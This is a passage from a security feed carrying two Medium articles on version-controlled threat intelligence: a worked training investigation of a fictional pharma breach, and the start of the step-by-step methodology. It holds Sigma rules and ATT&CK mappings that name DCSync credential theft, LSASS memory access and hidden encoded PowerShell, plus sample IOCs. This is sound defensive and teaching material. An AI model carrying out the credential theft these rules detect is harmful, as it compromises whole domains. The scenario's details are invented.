or failed, but this cannot be confirmed without full DC01 log access. Treating the environment as fully compromised is the conservative and operationally correct response until disproven.PIR: PIR-003CL-003 is the pivotal claim. The US partner&rsquo;s formulas are gone. That drives the PIR-001 answer and the entire notification timeline. CL-004 and CL-006 change the scope of remediation from &ldquo;contain these three hosts&rdquo; to &ldquo;rotate all AD credentials, treat all 80 servers as potentially compromised.&rdquo;3. Update project.yml PIR&nbsp;statusWhen a PIR is answered, open project.yml and change the status field immediately:nano project.ymlChange:- id: PIR-001    status: openTo:- id: PIR-001    status: answered    # CL-003 &mdash; exfiltration confirmed, 381 MB, Nov 64. Commit the claims&nbsp;ledgergit add 03-analysis/claims/claims-ledger.md project.ymlgit commit -m &quot;PROJ-2024-001: claims &mdash; 6 claims; PIR-001 ANSWERED YES (CL-003 exfil confirmed); PIR-003 CONFIRMED ONGOING (CL-006 DCSync)&quot;Step R4: ATT&amp;CK Mapping &mdash; Where Detection Failed1. Open the ATT&amp;CK mapping&nbsp;filenano 03-analysis/attck-mapping/attck-mapping.mdFor each technique you identified in the timeline, add one row. The four columns that matter most operationally are: Confidence (how sure are you the technique was used), Rule Fired? (yes/no/partial &mdash; check your SIEM), and Gap Type (what kind of work is needed to close this detection hole).Gap types: Rule missing / Data source missing / Coverage incomplete / Architectural gap. Pick one. If you are unsure, write your best guess and flag it for SOC&nbsp;review.Also update project.yml &mdash; fill the attck_techniques list:nano project.ymlscope:  attck_techniques:    - T1566.001    - T1557    - T1133    - T1078.002    - T1059.001    - T1003.001    - T1003.006    - T1021.003    - T1197    - T1047    - T1070.001    - T1547.0012. Fill one row per techniqueT1566.001 &mdash; Phishing attachment, CFO&nbsp;.xlsmEvidence: M365 ATP&nbsp;logConfidence: HighRule Fired?: Partial &mdash; ATP delivered; SCL=4, threshold=5Gap Type: Coverage incomplete &mdash; SCL threshold tuningT1557 &mdash; AiTM credential theft, IT&nbsp;adminEvidence: VPN login pattern + AiTM HTML&nbsp;lureConfidence: HighRule Fired?:&nbsp;NoGap Type: Rule missing &mdash; no AiTM session token detectionT1133 &mdash; VPN access with stolen credentialsEvidence: VPN log: Istanbul, off-hours, no prior&nbsp;historyConfidence: HighRule Fired?:&nbsp;NoGap Type: Rule missing &mdash; no anomalous VPN authentication alertT1078.002 &mdash; Valid account abuse, svc_backupEvidence: EID 4624, multiple&nbsp;eventsConfidence: HighRule Fired?:&nbsp;NoGap Type: Rule missing &mdash; service account off-hours logon undetectedT1059.001 &mdash; Encoded PowerShell, both&nbsp;hostsEvidence: Sysmon EID 1, CrowdStrikeConfidence: HighRule Fired?: Yes, CFO only, via CrowdStrike behavioral detectionGap Type: Coverage incomplete &mdash; CFO only; IT admin host fired no&nbsp;alertT1003.001 &mdash; LSASS memory&nbsp;accessEvidence: Sysmon EID 10, GrantedAccess 0x1010Confidence: HighRule Fired?:&nbsp;NoGap Type: Rule missing &mdash; Sysmon EID 10 not alerted&nbsp;onT1003.006 &mdash; DCSyncEvidence: DC01 EID&nbsp;4662Confidence: HighRule Fired?:&nbsp;NoGap Type: Rule missing &mdash; EID 4662 audit configured but no alert&nbsp;ruleT1021.003 &mdash; WMI lateral movement to SERVER-FIN-01Evidence: CrowdStrike: WmiPrvSE &rarr; PowerShellConfidence: HighRule Fired?:&nbsp;NoGap Type: Rule missing &mdash; WmiPrvSE parent alert not&nbsp;deployedT1197 &mdash; BITS download, second&nbsp;stageEvidence: Sysmon EID 1, bitsadminConfidence: HighRule Fired?:&nbsp;NoGap Type: Rule missing &mdash; BITS external download not monitoredT1047 &mdash; WMI execution, lateral&nbsp;movementEvidence: CrowdStrike logConfidence: HighRule Fired?:&nbsp;NoGap Type: Data source missing &mdash; WMI logging not in&nbsp;SIEMT1070.001 &mdash; Event log&nbsp;clearedEvidence: CrowdStrike EID&nbsp;1102Confidence: HighRule Fired?:&nbsp;NoGap Type: Rule missing &mdash; wevtutil alert not&nbsp;deployedT1547.001 &mdash; Registry Run Key persistenceEvidence: Sysmon EID&nbsp;13Confidence: HighRule Fired?:&nbsp;NoGap Type: Coverage incomplete &mdash; EID 13 ingested but no alert rule on AppData\\Roaming pathsThe gap taxonomy tells the engineering team exactly what work is required:Rule missing (7 techniques): Data is in SIEM. A detection engineer can write and deploy the rule. These are sprint&nbsp;items.Coverage incomplete (3 techniques): Rule or data exists but is mis-tuned or partial. These require tuning, not new infrastructure.Data source missing (1 technique): WMI execution logging is not in the SIEM. This requires an infrastructure change before rules can be&nbsp;written.The DCSync gap (T1003.006) is particularly stark: the Advanced Audit Policy that generates EID 4662 was correctly configured on DC01, the event was forwarded to Splunk, and the event was visible in Splunk. There was no alert rule. A single Splunk search rule on source=WinEventLog:Security EventCode=4662 ObjectType=&quot;{19195a5b-6da0-11d0-afd3-00c04fd930c9}&quot; from a non-DC IP would have fired and contained this incident before the formula exfiltration.3. Commit the ATT&amp;CK&nbsp;mappinggit add 03-analysis/attck-mapping/attck-mapping.md project.ymlgit commit -m &quot;PROJ-2024-001: ATT&amp;CK mapping &mdash; 12 techniques, 7 rule-missing, 3 coverage-incomplete, 1 data-source-missing, 1 arch-gap&quot;Step R5: Attribution Assessment &mdash; Same Actor or&nbsp;Two?1. Open the attribution filenano 03-analysis/attribution/attribution.mdWrite attribution only after the claims ledger is complete. The attribution file has three sections: evidence for unification (or separation), confidence ladder scoring, and the exact language to use in deliverables. Fill them in that&nbsp;order.Do not start with a hypothesis. Start with the evidence you have from the claims ledger, then see where it&nbsp;points.2. Score the evidence against the confidence ladderThe investigation faces a key analytical question: Path A (CFO phishing, November 15) and Path B (IT admin AiTM, October 22) &mdash; are they the same&nbsp;actor?Evidence for unification (same&nbsp;actor):Shared PE compile timestamp: Both dropped binaries &mdash; svchost32.exe (CFO host) and UpdateHelper.dll (IT admin host) &mdash; carry an identical fake compile timestamp of 2018-04-09. This is a known toolchain fingerprint. The probability of two unrelated actors both timestomping to the same date is extremely low.Shared secondary C2 domain in memory: Strings extracted from svchost32.exe include sys-update-cdn[.]net &mdash; the domain that appeared only in SERVER-RD-02&#039;s DNS logs during the formula exfiltration. The CFO&#039;s implant knew about infrastructure used during the Path B operation. This is only explicable if the same actor controlled both implants.Coordinated operations timeline: The CFO was targeted on the same day that the finance server data was being staged on SERVER-FIN-01 via lateral movement from the IT admin path. Two independent actors staging finance data simultaneously at the same target is implausible.Assessment: Single threat actor, dual delivery mechanism.The actor compromised the IT admin first (October 22), used that access for data theft (November 6), then independently targeted the CFO to expand access to finance data. The two phishing lures used different delivery infrastructure (different sender domains, different sending IPs from the same /24 block) &mdash; consistent with an actor who maintains parallel operational tracks.Attribution confidence: Medium-High. Apply the confidence ladder from Step R5 of the methodology to score this&nbsp;case:Ladder tier: Medium-High &mdash; TTP overlap + infrastructure match present; independent confirmation absent. The toolset has not been definitively matched to a named cluster, which prevents elevation to&nbsp;High.What to write: &ldquo;Activity assessed as a single threat actor based on shared toolchain indicators (PE timestamp, secondary C2 domain). Tradecraft and targeting profile are consistent with Iranian-nexus industrial espionage operations targeting Israeli pharmaceutical IP. Attribution to a named cluster is not warranted without CERT-IL deconfliction or independent confirmation. Confidence: Medium-High.&rdquo;3. Paste the final language into attribution.md and&nbsp;commitgit add 03-analysis/attribution/attribution.mdgit commit -m &quot;PROJ-2024-001: attribution &mdash; single actor, Medium-High confidence, shared PE timestamp + secondary C2, Iranian-nexus tradecraft consistent&quot;Step R6: Detection Rules &mdash; Four That Would Have Changed the&nbsp;Outcome1. Create one file per&nbsp;ruleEach rule gets its own file in 04-detections/sigma/:cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-001-anomalous-vpn-auth.ymlcp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-002-dcsync-non-dc.ymlcp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-003-svc-account-offhours.ymlcp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-004-wmiprvse-powershell.ymlOpen the first&nbsp;one:nano 04-detections/sigma/DET-001-anomalous-vpn-auth.ymlEvery rule must reference the CL-ID it would have detected and the gap type it closes. That is how the detection backlog stays traceable to the investigation.2. Fill each&nbsp;ruleEach rule is written with a reference to the claim it would have detected and the evidence gap it&nbsp;closes.DET-001: Anomalous VPN Authentication from Non-Corporate Sourcetitle: Anomalous VPN Authentication &mdash; New Geography or Hosting ASNid: a1b2c3d4-5678-9abc-def0-1234567890abstatus: experimentaldescription: &gt;  Detects VPN authentication success from a source IP with no prior history for  this user, specifically from IPs geolocated outside Israel or from hosting/VPN  ASNs. Covers T1133 and T1557 (session token replay after AiTM interception).  Derived from PROJ-001 &mdash; CL-001, p.levi VPN from Istanbul at 02:17 UTC.logsource:  category: network  product: cisco_anyconnectdetection:  selection:    event.action: vpn_auth_success    user.name|exists: true  filter_known:    source.geo.country_iso_code: &#039;IL&#039;    source.as.number|not|startswith: [&#039;AS47583&#039;, &#039;AS16276&#039;]   # hosting VPS ASNs  condition: selection and not filter_knownfalsepositives:  - Legitimate international travel &mdash; validate against HR travel records  - Remote contractors working abroadlevel: hightags:  - attack.initial_access  - attack.t1133  - attack.credential_access  - attack.t1557DET-002: DCSync Attack Detectiontitle: DCSync Attack via Non-DC Accountid: b2c3d4e5-6789-abcd-ef01-234567890abcstatus: productiondescription: &gt;  Detects DCSync by looking for EID 4662 with the DS-Replication-Get-Changes  GUID originating from a workstation IP rather than a domain controller.  Derived from PROJ-001 &mdash; CL-004: svc_backup performed DCSync from WS-IT-LEVI  using Domain Admin rights that were never revoked after an August 2024   emergency backup restoration.logsource:  category: windows  product: windows  service: securitydetection:  selection:    EventID: 4662    ObjectType: &#039;{19195a5b-6da0-11d0-afd3-00c04fd930c9}&#039;   # DS-Replication-Get-Changes    Properties|contains:      - &#039;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2&#039;             # DS-Replication-Get-Changes-All      - &#039;89e95b76-444d-4c62-991a-0facbeda640c&#039;             # DS-Replication-Get-Changes-In-Filtered-Set  filter_legitimate_dc:    IpAddress|startswith:      - &#039;10.10.1.10&#039;   # DC01 &mdash; add all DC IPs here      - &#039;10.10.1.11&#039;   # DC02  condition: selection and not filter_legitimate_dcfalsepositives:  - Azure AD Connect sync account &mdash; must be explicitly whitelisted  - Authorized red team / pentest &mdash; validate scope before dismissinglevel: criticaltags:  - attack.credential_access  - attack.t1003.006DET-003: Service Account Off-Hours Authenticationtitle: Service Account Authentication Outside Business Hoursid: c3d4e5f6-789a-bcde-f012-34567890abcdstatus: experimentaldescription: &gt;  Detects authentication by a service account (accounts matching svc_* naming  pattern) outside business hours (22:00&ndash;06:00) to a non-designated system.  Covers T1078.002 (Valid Accounts: Domain Accounts) for svc_backup lateral  movement in PROJ-001.logsource:  category: windows  product: windows  service: securitydetection:  selection:    EventID: 4624    LogonType: 3    SubjectUserName|startswith: &#039;svc_&#039;  filter_business_hours:    TimeCreated|windash|lt: &#039;22:00:00&#039;    TimeCreated|windash|gt: &#039;06:00:00&#039;  filter_known_backup_host:    IpAddress: &#039;10.10.4.15&#039;   # SERVER-WSUS-01 &mdash; legitimate backup source  condition: selection and not filter_business_hours and not filter_known_backup_hostfalsepositives:  - Scheduled tasks that legitimately run at night &mdash; review and whitelist specific pairslevel: mediumtags:  - attack.lateral_movement  - attack.t1078.002DET-004: WmiPrvSE Spawning PowerShelltitle: WMI Remote Execution &mdash; PowerShell Child of WmiPrvSEid: d4e5f6a7-89ab-cdef-0123-4567890abcdestatus: productiondescription: &gt;  Detects WMI-based lateral movement (T1021.003) where WmiPrvSE.exe spawns  PowerShell on a remote system. This is the pattern from PROJ-001 step 16:  lateral movement from WS-CFO-01 to SERVER-FIN-01 via WMI using svc_finreport  credentials. CrowdStrike detected the PowerShell on SERVER-FIN-01 but the  originating WMI connection from the CFO host had no coverage.logsource:  category: process_creation  product: windowsdetection:  selection:    ParentImage|endswith: &#039;\WmiPrvSE.exe&#039;    Image|endswith: &#039;\powershell.exe&#039;  suspicious_flags:    CommandLine|contains:      - &#039;-Enc&#039;      - &#039;-EncodedCommand&#039;      - &#039;-NonI&#039;      - &#039;-W Hidden&#039;  condition: selection and suspicious_flagsfalsepositives:  - SCCM WMI-based software deployment with PowerShell post-install scriptslevel: hightags:  - attack.lateral_movement  - attack.execution  - attack.t1021.003  - attack.t1059.001Validation: All four rules were validated against the PROJ-001 evidence set using Hayabusa before deployment. DET-001 fires on the October 24 Istanbul VPN login. DET-002 fires on the November 6 DCSync event. DET-003 fires on every svc_backup off-hours logon. DET-004 fires on the SERVER-FIN-01 WMI execution.3. Validate each rule against your evidence&nbsp;set# Run Hayabusa against the collected logs to confirm rules fire on known-bad eventshayabusa csv-timeline -d 01-evidence/ -r 04-detections/sigma/ -o validation-results.csvReview the output. A rule that does not fire on its own evidence set should not be deployed.4. Update project.yml deliverables count and&nbsp;commitnano project.ymldeliverables:  - type: sigma-rules    count: 4    status: completegit add 04-detections/sigma/ project.ymlgit commit -m &quot;PROJ-2024-001: detections &mdash; DET-001 to DET-004 written and validated PASS against evidence set via Hayabusa&quot;Step R7: Deliverables &mdash; What Each Stakeholder Gets1. Open the deliverable templatesnano 05-deliverables/executive-brief.mdnano 05-deliverables/soc-handoff.mdThe executive brief answers three questions only: what happened, what was confirmed stolen or compromised, and what must happen in the next 24 hours. One page. No technical jargon. Every PIR that is answered gets a one-line answer at the&nbsp;top.The SOC handoff lists: current IOCs (with confidence ratings), detection rules deployed, hunting queries still open, and escalation criteria. The SOC receives this, not the executive brief.2. Fill the executive briefExecutive brief (1 page, TLP:AMBER) &mdash; what the CISO needs in 90&nbsp;minutes:An adversary assessed as Iranian-nexus compromised LifeTech Pharma through two separate phishing attacks over 24 days. Using stolen IT administrator credentials, they accessed and exfiltrated the 47-file US licensing formula package on November 6, 2024. They also performed a DCSync attack on the domain controller, which means all Active Directory credentials must be treated as compromised.PIR-001 ANSWERED: The US partner formula package was exfiltrated. 381 MB outbound confirmed in firewall&nbsp;logs.PIR-003 ANSWERED: Active compromise ongoing. The CFO alert on November 15 is a second wave from the same actor, still active at time of investigation.Immediate actions: Full AD credential rotation; quarantine WS-CFO-01 and SERVER-FIN-01; notify INCD (72h clock from discovery: expires November 17 02:14 IST); brief the US licensing partner.SOC handoff (technical):Current IOCs: 203.0.113.87, 198.51.100.44, telemetry-cdn-services[.]biz, sys-update-cdn[.]net, uslifepartner-group[.]com, lifetechpharma-corp[.]eu.Four detection rules deployed (DET-001 through DET-004). Two hunting queries: (1) pivot on C2 domains across all 838 endpoints &mdash; the 3 confirmed hosts may not be all; (2) hunt for any svc_backup authentication from non-WSUS IPs in the past 30&nbsp;days.3. Update project.yml status to closed and commit everythingnano project.ymlproject:  status: closedpirs:  - id: PIR-001    status: answered    # CL-003  - id: PIR-002    status: answered    # CL-001  - id: PIR-003    status: answered    # CL-006 - ongoing, AD rotation requiredgit add 05-deliverables/ project.ymlgit commit -m &quot;PROJ-2024-001: deliverables &mdash; executive brief, SOC handoff, INCD notification ready; all PIRs answered; project closed&quot;The Git History: What a Completed Investigation Looks&nbsp;Likeb9a2f1c  PROJ-001: deliverables &mdash; executive brief, SOC handoff, INCD notification ready7c8d3e4  PROJ-001: detections &mdash; DET-001 through DET-004 validated PASS via Hayabusa5f2a9b1  PROJ-001: attribution &mdash; single actor assessed (shared PE timestamp + secondary C2)3e4c7d8  PROJ-001: ATT&amp;CK mapping &mdash; 12 techniques, 7 rule-missing, 3 incomplete, 1 data-missing1b6f2a5  PROJ-001: claims &mdash; 6 claims; PIR-001 ANSWERED YES (CL-003); PIR-003 CONFIRMED ONGOING (CL-006)9a3e7c2  PROJ-001: timeline &mdash; 18 events Oct 22&ndash;Nov 15; dual-path confirmed, same actor assessed6f1b4d9  PROJ-001: evidence inventory &mdash; 6 sources, GAP-001 documented, firewall log retrieval urgent2c8a5e3  PROJ-001: scope &mdash; signed off 22:55 IST; PIR-001/002/003, TLP AMBER, legal hold WS-IT-LEVIa1d7f4b  PROJ-001: intake &mdash; CFO PowerShell alert, legal hold WS-IT-LEVI, formula data in scope0e9c2b7  PROJ-001: scaffold initializedEach commit is a phase. Each message states the project ID, the phase, and a one-line summary of what was concluded. When a lawyer asks six months from now &ldquo;what did you know and when did you know it?&rdquo; &mdash; the git log&nbsp;answers.Key LessonsThe alert was not the beginning. The SOC received its first signal 52 hours after the breach was already in progress &mdash; and 15 days after the formula files were gone. The triggering alert was the second entry point. A detection rule on anomalous VPN authentication (DET-001) would have fired on October 24 at 02:17 UTC &mdash; before any lateral movement, before any data&nbsp;access.Gaps are findings, not absences. The 10-day Sysmon gap on WS-IT-LEVI coincided exactly with the delivery of a phishing email. Stopping a logging service is T1562.001 &mdash; Impair Defenses. A gap is not &ldquo;we don&rsquo;t know what happened.&rdquo; A gap that coincides with a malicious delivery is evidence of anti-forensics.DCSync changes everything. The scope of remediation is not &ldquo;three infected hosts.&rdquo; When DCSync is confirmed via Domain Admin rights, every credential in the AD is potentially compromised. The scope is all 80 servers. The IR Lead needs to know this before the 90-minute CISO brief, not&nbsp;after.Claims need competing hypotheses. CL-003 (exfiltration confirmed) is only defensible as &ldquo;high confidence&rdquo; because specific alternative explanations were checked and explicitly ruled out &mdash; scheduled backup (wrong source IP, wrong timing), authorized developer activity (no jobs scheduled). Without the competing hypothesis analysis, a claim is an assertion. With it, it is analysis.This scenario is training assignment A01 from the CTI as a Code repository. The full evidence set, template, and worked solution are available there.Follow My&nbsp;WorkI publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.Portfolio / Knowledge Base: https://anpa1200.github.io/Medium: https://medium.com/@1200kmGitHub: https://github.com/anpa1200LinkedIn: https://www.linkedin.com/in/andrey-pautov/Andrey PautovCTI as a Code in Practice: Reactive Investigation &mdash; LifeTech Pharma was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3580443/IT+Sicherheit/Hacker/CTI+as+a+Code+in+Practice%3A+Reactive+Investigation+%E2%80%94+LifeTech+Pharma/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580443/IT+Sicherheit/Hacker/CTI+as+a+Code+in+Practice%3A+Reactive+Investigation+%E2%80%94+LifeTech+Pharma/</guid>
<pubDate>Mon, 08 Jun 2026 06:30:34 +0200</pubDate>
</item>
<item> 
<title><![CDATA[CTI as a Code: Complete Step-by-Step Methodology]]></title> 
<description><![CDATA[Version-controlled threat intelligence &mdash; from first call to deployed Sigma&nbsp;rule.Why This Methodology ExistsMost CTI work degrades in three predictable ways:The evidence problem. An analyst writes &ldquo;the adversary used T1078&rdquo; in a report. Six months later nobody can answer: what log line supports that claim? Was it confirmed or inferred? What alternative hypotheses were ruled out? The claim exists in a PDF but the reasoning is&nbsp;gone.The detection problem. A detection rule gets written after an incident. It sits in the SIEM with no documentation of which adversary technique it covers, which evidence motivated it, or whether it was ever validated. When the technique evolves, nobody knows which rules to&nbsp;update.The institutional knowledge problem. The analyst who ran the investigation leaves. The entire understanding of what happened, how it was analyzed, and what was decided goes with them. The next incident starts from&nbsp;zero.CTI as a Code solves all three. Every claim traces to evidence. Every detection traces to a technique. Every decision is a git commit. The investigation is reproducible by anyone with access to the repository.ContentsWhy This Methodology ExistsThe Four Operational ModesSetup: Get the Repository and Start the&nbsp;LabStep 1: Initial Information Gathering &mdash; Ask Before You&nbsp;LookStep 2: Create Your Project Folder from the&nbsp;TemplateStep 3: Scope the&nbsp;ProjectReactive ModeStep R1: Collect and Inventory EvidenceStep R2: Build the Timeline with Evidence&nbsp;LabelsStep R3: Claims&nbsp;LedgerStep R4: ATT&amp;CK Mapping with Gap ClassificationStep R5: Attribution AssessmentStep R6: Derive Sigma Rules for Every Missed TechniqueStep R7: Produce DeliverablesProactive ModeStep P1: Copy the&nbsp;TemplateStep P2: Run the&nbsp;IntakeStep P3: Assess Trigger IntelligenceStep P4: Crown Jewels&nbsp;AnalysisStep P5: Model Attack ScenariosStep P6: Build the Detection BacklogFull Cycle Mode: Building a CTI&nbsp;ProgramAdversary Emulation Mode: Validating CoverageGit Discipline &mdash; The Same for All&nbsp;ModesMinimum-Viable Path: No Lab&nbsp;RequiredThe EcosystemWhere to&nbsp;StartThe Four Operational ModesBefore picking up a tool, identify which mode you are&nbsp;in:The four modes share the same scaffold, the same analytical discipline, and the same git workflow. The difference is which steps you run and in what&nbsp;order.Setup: Get the Repository and Start the&nbsp;LabClone the repositorygit clone https://github.com/anpa1200/CTI_as_a_Code.gitcd CTI_as_a_CodeRepository structure:CTI_as_a_Code/├── docker-compose.yml          &larr; full lab stack (OpenCTI, TheHive, Elastic, Cortex)├── .env.example                &larr; all secrets in one place; copy to .env before starting├── scripts/│   ├── setup.sh                &larr; first-time initialization (connectors, indexes, users)│   └── health-check.sh         &larr; confirms all services return HTTP 200├── templates/                  &larr; blank investigation scaffolds &mdash; copy these to start│   ├── reactive/│   ├── proactive/│   ├── full-cycle/│   └── adversary-emulation.md└── training/                   &larr; 8 fully populated case folders with worked solutions    ├── A01-reactive-lifetech/    ├── A02-proactive-celltronx/    └── ...Start the lab (optional but recommended)cp .env.example .env# Open .env and set all passwords before the next commandnano .env# Elasticsearch requires this kernel parametersudo sysctl -w vm.max_map_count=262144docker compose up -d./scripts/setup.sh          # runs once; configures MITRE ATT&amp;CK connector, indexes, initial users./scripts/health-check.sh   # all services should return HTTP 200Once running:You do not need the lab to run the methodology. The minimum-viable path at the end of this article covers what to use&nbsp;instead.Step 1: Initial Information Gathering &mdash; Ask Before You&nbsp;LookThis is the step most analysts skip. It is the most important step.Before you open a log file, before you run a query, before you create a case &mdash; you need to understand what the reporter knows, what has already been touched, and what constraints exist. Getting this wrong means analyzing the wrong systems, missing the actual entry point, or tainting evidence that could later matter to regulators or&nbsp;legal.This step applies to all&nbsp;modes:Reactive: gather from the person who reported or discovered the&nbsp;incidentProactive: gather from the person who assigned the assessment (CISO, management, compliance)Full Cycle: gather from the sponsor of the program&nbsp;buildEmulation: gather from the authorization chainRun this as a structured conversation &mdash; a call, a meeting, or a written intake form filled in by the requester. Take verbatim notes. Do not interpret or analyze during this step; just&nbsp;capture.&rarr; Reactive Investigation &mdash; Intake &mdash; full intake form, why each section matters, and how to commit the intake into the project git&nbsp;history.Step 2: Create Your Project Folder from the&nbsp;TemplateAfter intake, create the project folder and commit the intake document into&nbsp;it:# Choose the template matching your modecp -r CTI_as_a_Code/templates/reactive/   investigations/myorg-incident-2025-03/cd investigations/myorg-incident-2025-03/git initgit add .git commit -m &quot;PROJ-001: scaffold initialized&quot;# Copy your intake notes into the projectcp /path/to/intake-notes.md 00-scope/intake.mdgit add 00-scope/intake.mdgit commit -m &quot;PROJ-001: intake complete - initial hypothesis: AiTM contractor credential theft&quot;The intake document becomes the first record in the investigation&rsquo;s git history. Every subsequent commit builds on it. When the investigation is reviewed three months later, the git log shows what was known when, and what the analyst&rsquo;s reasoning was at each&nbsp;stage.Step 3: Scope the&nbsp;ProjectFile: 00-scope/scope.md | Role: Team Lead | Time: 30&nbsp;minThe scope document translates the intake into a formal project definition. It is signed off by the stakeholder before analysis begins. Scope changes during the investigation require a new commit with explicit justification &mdash; this prevents scope creep and keeps the git history&nbsp;honest.# Scope &mdash; PROJ-001 &mdash; MyOrg Incident 2025-03Signed off by: CISO (Rachel K.) | Date: 2025-03-18 09:00 IST## In scope- Systems: HOST-01, HOST-02, vpn-gw-01, db-01- Time range: 2025-03-15 00:00 IST - 2025-03-18 23:59 IST- Evidence: Winlogbeat JSONL, VPN gateway logs, DB audit log, netflow## Out of scope- Cloud infrastructure - separate authorization required; pending CISO approval- Employee endpoints outside the affected /24 subnet## PIRs (Priority Intelligence Requirements)These are the specific questions this investigation must answer. Analysis is completewhen all PIRs have an assessed answer or are explicitly closed as unanswerable.- PIR-001: Did the adversary access or exfiltrate biometric records from db-01?- PIR-002: What was the initial access vector - how did they get in?- PIR-003: Is there any indication of ongoing access or persistence as of 2025-03-18?## Stakeholders- Commissioned by: CISO- Deliverables to: CISO, IR Lead, Legal- Scope change authority: CISO only - any scope expansion requires written approval## Evidence handling- TLP: AMBER - share with CERT-IL only with explicit CISO approval- Legal hold on all artifacts pending INCD notification decision - do not delete anything- Do not access db-01 production environment directly - use log copies onlyCommit and get written sign-off (Slack, email, or a note in the&nbsp;case):git add 00-scope/git commit -m &quot;PROJ-001: scope signed off by CISO &mdash; PIR-001 through PIR-003, TLP AMBER, legal hold&quot;Reactive Mode: Full WalkthroughStep R1: Collect and Inventory EvidenceFile: 01-evidence/README.md | Time: 2&ndash;8 h depending on evidence&nbsp;volumeBefore any analysis, build the complete evidence inventory. The rule: you do not analyze what you have not inventoried. Working from untracked evidence is how findings get missed and how the chain of custody&nbsp;breaks.Collection with Velociraptor (remote, no reboot required):# Collect Windows Security event log from HOST-01velociraptor -v artifacts collect Windows.EventLogs.Evtx \  --args EventLog=Security \  --output HOST-01-security.jsonl# Collect Sysmon (process creation, network, file events)velociraptor -v artifacts collect Windows.EventLogs.Evtx \  --args EventLog=&quot;Microsoft-Windows-Sysmon/Operational&quot; \  --output HOST-01-sysmon.jsonl# Collect PowerShell script block loggingvelociraptor -v artifacts collect Windows.EventLogs.Evtx \  --args EventLog=&quot;Microsoft-Windows-PowerShell/Operational&quot; \  --output HOST-01-powershell.jsonlHash all collected evidence immediately:sha256sum HOST-01-security.jsonl HOST-01-sysmon.jsonl vpn-gw-2025-03-17.jsonl \  &gt; evidence-checksums.sha256git add evidence-checksums.sha256git commit -m &quot;PROJ-001: evidence checksums - chain of custody established&quot;Build the inventory table:| Source | File | Systems | Time Range | Gap | SHA256 | Usability ||---|---|---|---|---|---|---|| Windows Security log | HOST-01-security.jsonl | HOST-01 | 2025-03-15 &ndash; 2025-03-18 | None | a3f1... | High || Sysmon | HOST-01-sysmon.jsonl | HOST-01 | 2025-03-15 &ndash; 2025-03-18 | GAP-001: 03:00&ndash;07:00 IST on 03-17 | b2e4... | High (with gap) || VPN gateway | vpn-gw-2025-03-17.jsonl | vpn-gw-01 | 2025-03-17 only | None | c9d7... | High || DB audit log | vrid-audit-2025-03-17.jsonl | db-01 | 2025-03-17 00:00&ndash;06:00 | Post-06:00 log rotation lost | d4a2... | Medium || Netflow | govnet-ops-2025-03-17.jsonl | All | 2025-03-17 | None | e8b3... | High |Document every gap explicitly:## GAP-001 &mdash; HOST-01 Sysmon | 2025-03-17 03:00&ndash;07:00 ISTMissing event types: process creation (EID 1), network connections (EID 3), file creation (EID 11)Duration: 4 hoursRoot cause: Sysmon service crash; restart at 07:02 confirmed in System logWhat does cover this window: Security log (EID 4624, 4688 partial) - some process activity visibleConfidence impact: T1059, T1055, T1136, T1543 activity during this window CANNOT be confirmed  or ruled out. Any claim about adversary actions between 03:00&ndash;07:00 must be labeled HYPOTHESIZED  unless supported by netflow or DB audit log.Normalize to super-timeline with&nbsp;Plaso:log2timeline.py --storage-file PROJ-001.plaso \  HOST-01-security.jsonl \  HOST-01-sysmon.jsonl \  vpn-gw-2025-03-17.jsonl \  vrid-audit-2025-03-17.jsonl \  govnet-ops-2025-03-17.jsonlpsort.py -o l2tcsv PROJ-001.plaso \  --slice &quot;2025-03-17T00:00:00&quot; \  --slice_size 1440 \  &gt; supertimeline-2025-03-17.csvRapid Sigma triage with Hayabusa before Timesketch setup:hayabusa csv-timeline \  --directory ./evtx/ \  --output hayabusa-triage.csv \  --profile verbose \  --min-level medium# Sort by severity to find high-confidence hits firstsort -t&#039;,&#039; -k5 -r hayabusa-triage.csv | head -50git add 01-evidence/git commit -m &quot;PROJ-001: evidence inventory - 5 sources, GAP-001 documented (4h Sysmon outage on 03-17)&quot;Step R2: Build the Timeline with Evidence&nbsp;LabelsFile: 03-analysis/timeline/timeline.md | Time: 4&ndash;20&nbsp;hThe timeline is a chronological log of every relevant event with three things that most timelines omit: evidence citations, evidence labels, and ATT&amp;CK technique mappings.Evidence label system &mdash; every event gets&nbsp;one:Why labels matter: Without them, analysts conflate what they saw with what they inferred. The label forces explicit acknowledgment of how strong each piece of evidence is. When an executive asks &ldquo;are you sure they took the data?&rdquo;, the answer is &ldquo;CONFIRMED &mdash; two independent sources (DB audit log and netflow) both show 892 MB outbound&rdquo; not &ldquo;we think&nbsp;so.&rdquo;Example timeline&nbsp;entries:## 2025-03-17 02:09:41 IST | CORROBORATED | T1566.001Email gateway: message delivered to contractor-07@myorg.il from spoofed.vendor@mailpro[.]ccAttachment: Q1-Invoice-2025.docx (SHA256: 4a7f...)Single source &mdash; email gateway log only; no AV alert (attachment not flagged at delivery)Note: This is the suspected initial delivery. No click/open event confirmed yet.## 2025-03-17 02:14:23 IST | CONFIRMED | T1078.001VPN gateway: authentication from 185.234.x.x, UserID: contractor-07Source 1: vpn-gw-2025-03-17.jsonl line 4,471 - SessionID: VPN-20250317-8821Source 2: RADIUS auth log - same SessionID, same source IP, same timestamp &plusmn;2sNo prior VPN session history for contractor-07 from this IP. HR confirmed contractor-07was not working on 2025-03-17. Two independent sources &rarr; CONFIRMED.PIR-002 status: partial answer - likely credential theft prior to this event## 2025-03-17 02:17&ndash;02:44 IST | INFERRED | T1021.001Adversary likely moved laterally from contractor jump host to db-01 during this window.Inference basis: VPN session established at 02:14 (CONFIRMED); DB access at 02:47 (CONFIRMED);no direct evidence of the lateral movement path - jump host Sysmon logs not available.This step is inferred from the 30-minute gap between VPN auth and DB access.Cannot confirm the specific technique (RDP, SMB, other) without jump host logs.## 2025-03-17 02:47:11 IST | CONFIRMED | T1048.003DB audit log: SELECT * on biometric_records from 185.234.x.xSource 1: vrid-audit-2025-03-17.jsonl line 892 - full-table SELECT, 340,218 rowsSource 